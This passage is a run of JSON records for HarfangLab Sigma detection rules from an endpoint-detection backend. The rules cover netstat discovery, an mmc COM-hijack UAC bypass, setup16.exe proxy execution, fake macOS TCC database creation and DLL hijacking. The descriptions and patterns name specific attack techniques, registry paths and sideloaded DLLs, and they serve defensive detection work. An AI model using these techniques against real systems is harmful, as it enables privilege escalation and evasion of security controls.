+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e90145a1-9e20-4937-ad01-c8777f3af8c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622786Z",
+  "creation_date": "2026-03-23T11:45:34.622788Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622792Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/software/S0104/"
+  ],
+  "name": "t1049_netstat_windows.yml",
+  "content": "title: Network Statistics Discovered via Netstat (Windows)\nid: e90145a1-9e20-4937-ad01-c8777f3af8c6\ndescription: |\n    Detects the execution of netstat.exe, a tool often used by attackers to gather detailed information about a computer's network connections.\n    Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.\n    It is recommended to analyze the process responsible for the execution of netstat as well as to look for other malicious actions on the host.\nreferences:\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/software/S0104/\ndate: 2021/05/17\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.s0104\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\netstat.exe'\n        # Renamed binaries\n        - OriginalFileName: 'netstat.exe'\n\n    selection_commandline:\n        CommandLine:\n            - 'netstat'\n            - 'netstat -a'\n            - 'netstat -f'\n            - 'netstat -r'\n            - 'netstat -??'\n            - 'netstat -???'\n            - 'netstat -???? tcp'\n            - 'netstat.exe'\n            - 'netstat.exe -a'\n            - 'netstat.exe -f'\n            - 'netstat.exe -r'\n            - 'netstat.exe -??'\n            - 'netstat.exe -???'\n            - 'netstat.exe -???? tcp'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_commandline:\n        ParentCommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\cmd.exe /d /s /c netstat '\n            - 'cmd* /c netstat -*|*find '\n            - 'cmd* /c netstat -*|*findstr '\n            - '?:\\WINDOWS\\system32\\cmd.exe /c netstat -*|*find '\n            - '?:\\WINDOWS\\system32\\cmd.exe /c netstat -*|*findstr '\n\n    exclusion_webex:\n        # Cisco Webex\n        ParentImage|endswith: '\\webexmta.exe'\n        GrandparentImage|endswith:\n            - '\\atmgr.exe'\n            - '\\ptoneclk.exe'\n\n    exclusion_vagrant:\n        GrandparentImage: '?:\\HashiCorp\\Vagrant\\bin\\vagrant.exe'\n        ParentImage|endswith: '?:\\HashiCorp\\Vagrant\\embedded\\mingw64\\bin\\ruby.exe'\n\n    exclusion_commvault_diagnostics:\n        GrandparentImage|endswith: '\\CvDiagnostics.exe'\n\n    exclusion_parent:\n        - ParentImage:\n            - '?:\\WindowsAzure\\GuestAgent_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\Packages\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\SAP\\scc20\\SCCHost.exe'\n            - '?:\\oracle\\product\\\\*\\agent\\agent_*\\perl\\bin\\perl.exe'\n        - ParentCommandLine:\n            - '?:\\windows\\system32\\cscript.exe *\\manageengine\\opmanager\\appmanager\\working\\conf\\application\\scripts\\diagnostics\\selfmonitor.vbs *'\n            - '*\\safeq6\\spoc\\terminalserver\\terminalserver.exe -displayname ysoft *'\n            - '?:\\Windows\\System32\\cmd.exe /c ?:\\Windows\\System32\\netstat.exe -ano > ?:\\Windows\\TEMP\\nessus_*.TMP & ren ?:\\Windows\\TEMP\\nessus_*.TMP nessus_*.TXT'\n\n    exclusion_grandparent:\n        - GrandparentImage:\n            - '*\\mon-assistant-marche-public\\Mon Assistant Marchés Publics.exe'\n            - '*\\mon-assistant-marche-public-ecole\\Mon Assistant Marchés Publics ECOLE.exe'\n            - '*\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n            - '*\\AppData\\Roaming\\ACEStream\\engine\\ace_engine.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Fleet\\Fleet.exe'\n            - '*\\Ankama Launcher\\Ankama Launcher.exe'\n            - '?:\\Tenable\\Tenable.ad\\Tools\\nssm.exe'\n            - '?:\\Windows\\LTSvc\\LTSVC.exe'\n        - GrandparentCommandLine:\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\Program Files\\Siemens\\syngo\\OperationalManagement\\HealthCheck\\\\*.bat'\n            - '*\\FileMaker\\FileMaker Server\\Admin\\FAC\\facstart.sh'\n            - '?:\\Windows\\system32\\cmd.exe /c *\\Semantic\\Easily.Semantic.Solr\\bin\\solr.cmd status'\n            - 'php */Kiamo*/bin/modules/resources/scheduler/netstat/netstat_tcp.php'\n            - 'php resources\\scheduler\\netstat\\netstat_tcp.php'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c *\\solr-?.?.?\\bin\\Solr_New.bat'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\APPLIS\\EASILY\\SERVICE_SEM\\Semantic\\Easily.Semantic.Solr\\bin\\solr.cmd *'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files (x86)\\F5 VPN\\f5fpclientW.exe'\n            - '?:\\Program Files (x86)\\Talend-Studio\\studio\\Talend-Studio-win-x86_64.exe'\n            - '?:\\Windows\\ADDMRemQuery_x86_64_v2.exe'\n            - '?:\\ProgramData\\KMSAutoS\\KMSAuto Net.exe'\n            - '\\Start_Programs\\Windows_i386-32\\acslaunch_win-32.exe'\n            - '\\Start_Programs\\Windows_x86-64\\acslaunch_win-64.exe'\n            - '\\DSS\\DSS Server\\VMS Service\\VMS_Service.exe|?:\\Windows\\System32\\services.exe'\n            - '\\SER\\Doxis\\DoxisOrgaTransmitter*\\OrgaTransmitter.exe'\n            - '?:\\Program Files\\Veritas\\NetBackup\\bin\\support\\nbsu.exe'\n            - '?:\\Program Files\\totalcmd\\TOTALCMD64.EXE'\n            - '\\SASHome\\SASStudioSingleUser\\\\*\\SASStudioHost.exe'\n\n    exclusion_openview:\n        CommandLine: 'netstat -rnv'\n        ParentCommandLine: 'cmd /c netstat -rnv'\n        CurrentDirectory: '?:\\Program Files\\HP OpenView\\Data\\bin\\instrumentation'\n\n    exclusion_stratoprobe:\n        ParentCommandLine: 'cmd /c ?:\\temp\\StratoProbe\\\\????????????????????????????????\\stratoStat.bat'\n\n    exclusion_examshield:\n        CommandLine: 'netstat -ano'\n        ParentCommandLine: 'cmd.exe /C netstat -ano'\n        GrandparentImage|endswith: '\\ExamShield.exe'\n\n    exclusion_oracle_agent:\n        ParentCommandLine|contains:\n            - '\\virtual\\agent12c\\core\\\\*\\perl\\bin\\perl *\\virtual\\agent12c\\core\\\\*/sysman/'\n            - '\\agent_*\\perl\\bin\\perl ?:\\\\*\\agent_*/sysman/admin/scripts/openports.pl'\n            - '\\agent_*\\perl\\bin\\perl ?:\\\\*\\agent_*/sysman/admin/scripts/insecureservices.pl'\n\n    exclusion_arcgiswebappbuilder:\n        CurrentDirectory|endswith: '\\arcgis-web-appbuilder-*\\ArcGISWebAppBuilder\\server\\'\n        GrandparentCommandLine|startswith: '?:\\Windows\\system32\\cmd.exe /c *\\arcgis-web-appbuilder-*\\ArcGISWebAppBuilder\\startup.bat'\n\n    exclusion_dicomlistener:\n        ParentImage|endswith: '\\XnDicomListener\\XnDicomListener.exe'\n        GrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_netstat:\n        # netstat -r\n        ParentCommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\system32\\route.exe print'\n\n    exclusion_oracle:\n        CommandLine: 'netstat -an'\n        ParentImage:\n            - '?:\\Oracle\\\\*\\bin\\perl.exe'\n            - '?:\\\\*\\perl\\bin\\perl.exe'\n            - '*\\bin\\MSWin32-x86\\perl.exe'\n        GrandparentImage:\n            - '*\\BIN\\emagent.exe'\n            - '*/bin/emagent'\n\n    exclusion_semantic:\n        CommandLine|contains: '\\Semantic\\Easily.Semantic.Solr\\bin\\solr.cmd'\n\n    exclusion_kiamo:\n        GrandparentImage:\n            - '?:\\Kiamo*\\bin\\third_packages\\PHP\\php.exe'\n            - '?:\\Kiamo*\\bin\\third_packages\\PHP?\\php.exe'\n\n    exclusion_git:\n        ParentImage:\n            - '*\\AppData\\Local\\Programs\\Git\\usr\\bin\\bash.exe'\n            - '*\\AppData\\Local\\Programs\\Git\\usr\\bin\\sh.exe'\n\n    exclusion_vmware:\n        # get-versions.bat\n        ProcessAncestors|contains: '\\cmd.exe|?:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe|'\n\n    exclusion_pulse:\n        ParentImage|endswith: '\\AppData\\Roaming\\Pulse Secure\\Host Checker\\dsHostChecker.exe'\n\n    exclusion_mobaxterm:\n        ParentImage: '?:\\Users\\\\*\\Documents\\MobaXterm\\slash\\bin\\bash.exe'\n\n    exclusion_perl:\n        - ParentImage: '?:\\Perl64\\bin\\perl.exe'\n        - GrandparentImage: '?:\\Perl64\\bin\\perl.exe'\n\n    exclusion_servicenow:\n        ParentCommandLine: 'cmd /c netstat.exe -ano > \\\\\\\\127.0.0.1\\admin$\\temp\\psscript_output_*.txt 2>\\\\\\\\127.0.0.1\\admin$\\temp\\psscript_err_*.txt'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e90145a1-9e20-4937-ad01-c8777f3af8c6",
+  "rule_name": "Network Statistics Discovered via Netstat (Windows)",
+  "rule_description": "Detects the execution of netstat.exe, a tool often used by attackers to gather detailed information about a computer's network connections.\nAdversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.\nIt is recommended to analyze the process responsible for the execution of netstat as well as to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2021-05-17",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e90e9976-8766-40f2-ad94-ebd9bc6788da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077381Z",
+  "creation_date": "2026-03-23T11:45:34.077383Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077387Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_mmc_comhijack.yml",
+  "content": "title: Mmc UAC Bypass Prepared\nid: e90e9976-8766-40f2-ad94-ebd9bc6788da\ndescription: |\n    Detects preparation of UAC bypass via \"mmc.exe\" by using the @{0A29FF9E-7F9C-4437-8B11-F424491E3931} CLSID (NDP SymBinder).\n    By hijacking the \"Server\" registry value for this COM class, it is possible to make \"mmc.exe\" load an arbitrary DLL with high integrity.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry change to look for malicious content or actions.\nreferences:\n    - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\ndate: 2020/10/26\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'CreateKey'\n        TargetObject: 'HKU\\\\*\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\Server'\n\n    exclusion_devenv:\n        Image|endswith: '\\devenv.exe' # c:\\program files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\devenv.exe\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e90e9976-8766-40f2-ad94-ebd9bc6788da",
+  "rule_name": "Mmc UAC Bypass Prepared",
+  "rule_description": "Detects preparation of UAC bypass via \"mmc.exe\" by using the @{0A29FF9E-7F9C-4437-8B11-F424491E3931} CLSID (NDP SymBinder).\nBy hijacking the \"Server\" registry value for this COM class, it is possible to make \"mmc.exe\" load an arbitrary DLL with high integrity.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry change to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-26",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e91f013a-c074-4ab7-afd2-740f004c0caf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609031Z",
+  "creation_date": "2026-03-23T11:45:34.609035Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609042Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/",
+    "https://x.com/Hexacorn/status/1845212255891120452",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_suspicious_execution_setup16.yml",
+  "content": "title: Suspicious Execution via setup16.exe\nid: e91f013a-c074-4ab7-afd2-740f004c0caf\ndescription: |\n  Detects the execution of an LST file through 'setup16.exe'.\n  'setup16.exe' is an old Windows binary that can be used for customized installations, taking an LST file as input which defines setup fields.\n  The LST file can define different fields which could be abused by malicious actors for execution.\n  It is recommended to review the execution context of 'setup16.exe' and to investigate its child process(es).\nreferences:\n    - https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/\n    - https://x.com/Hexacorn/status/1845212255891120452\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2024/10/14\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\setup16.exe'\n        ProcessParentOriginalFileName: 'setup16.exe'\n\n    filter_acmsetup:\n        Image|endswith: '\\acmsetup.exe'\n        CommandLine|contains|all:\n            - 'acmsetup'\n            - ' /t '\n            - ' /s '\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e91f013a-c074-4ab7-afd2-740f004c0caf",
+  "rule_name": "Suspicious Execution via setup16.exe",
+  "rule_description": "Detects the execution of an LST file through 'setup16.exe'.\n'setup16.exe' is an old Windows binary that can be used for customized installations, taking an LST file as input which defines setup fields.\nThe LST file can define different fields which could be abused by malicious actors for execution.\nIt is recommended to review the execution context of 'setup16.exe' and to investigate its child process(es).\n",
+  "rule_creation_date": "2024-10-14",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9311458-4875-4c6f-b493-0592de1251b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095754Z",
+  "creation_date": "2026-03-23T11:45:34.095756Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095760Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/inital-research-of-jokerspy",
+    "https://attack.mitre.org/techniques/T1548/006/"
+  ],
+  "name": "t1548_006_susp_tcc_database_created.yml",
+  "content": "title: Suspicious TCC Database File Created\nid: e9311458-4875-4c6f-b493-0592de1251b1\ndescription: |\n    Detects a suspicious creation of the Transparency, Consent, & Control (TCC) database in a non-standard folder.\n    Adversaries may create a fake TCC database while exploiting vulnerabilities to bypass TCC restrictions and execute malicious content with privileged access.\n    It is recommended to check if the process creating the database has legitimate reasons to do so.\nreferences:\n    - https://www.elastic.co/security-labs/inital-research-of-jokerspy\n    - https://attack.mitre.org/techniques/T1548/006/\ndate: 2024/07/22\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.006\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_create:\n        Kind: 'create'\n        Path|endswith: '/TCC.db'\n        ProcessImage|contains: '?'\n\n    filter_files:\n        # /Library/Application Support/com.apple.TCC/TCC.db\n        # ~/Library/Application Support/com.apple.TCC/TCC.db\n        - Path|endswith: '/Library/Application Support/com.apple.TCC/TCC.db'\n        - TargetPath|endswith: '/Library/Application Support/com.apple.TCC/TCC.db'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9311458-4875-4c6f-b493-0592de1251b1",
+  "rule_name": "Suspicious TCC Database File Created",
+  "rule_description": "Detects a suspicious creation of the Transparency, Consent, & Control (TCC) database in a non-standard folder.\nAdversaries may create a fake TCC database while exploiting vulnerabilities to bypass TCC restrictions and execute malicious content with privileged access.\nIt is recommended to check if the process creating the database has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e93663a6-76e2-4f02-a8c1-5b3319ff5693",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086806Z",
+  "creation_date": "2026-03-23T11:45:34.086808Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086813Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_immersivetpmvscmgrsvr.yml",
+  "content": "title: DLL Hijacking via immersivetpmvscmgrsvr.exe\nid: e93663a6-76e2-4f02-a8c1-5b3319ff5693\ndescription: |\n    Detects potential Windows DLL Hijacking via immersivetpmvscmgrsvr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'immersivetpmvscmgrsvr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\profapi.dll'\n            - '\\winscard.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e93663a6-76e2-4f02-a8c1-5b3319ff5693",
+  "rule_name": "DLL Hijacking via immersivetpmvscmgrsvr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via immersivetpmvscmgrsvr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e95e0452-fb72-4d16-ba86-5c75984a02b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595865Z",
+  "creation_date": "2026-03-23T11:45:34.595888Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595896Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Inveigh",
+    "https://gist.github.com/monoxgas/9d238accd969550136db",
+    "https://gist.github.com/HarmJ0y/c84065c0c487d4c74cc1",
+    "https://github.com/secmode/Invoke-Apex",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_empire_script.yml",
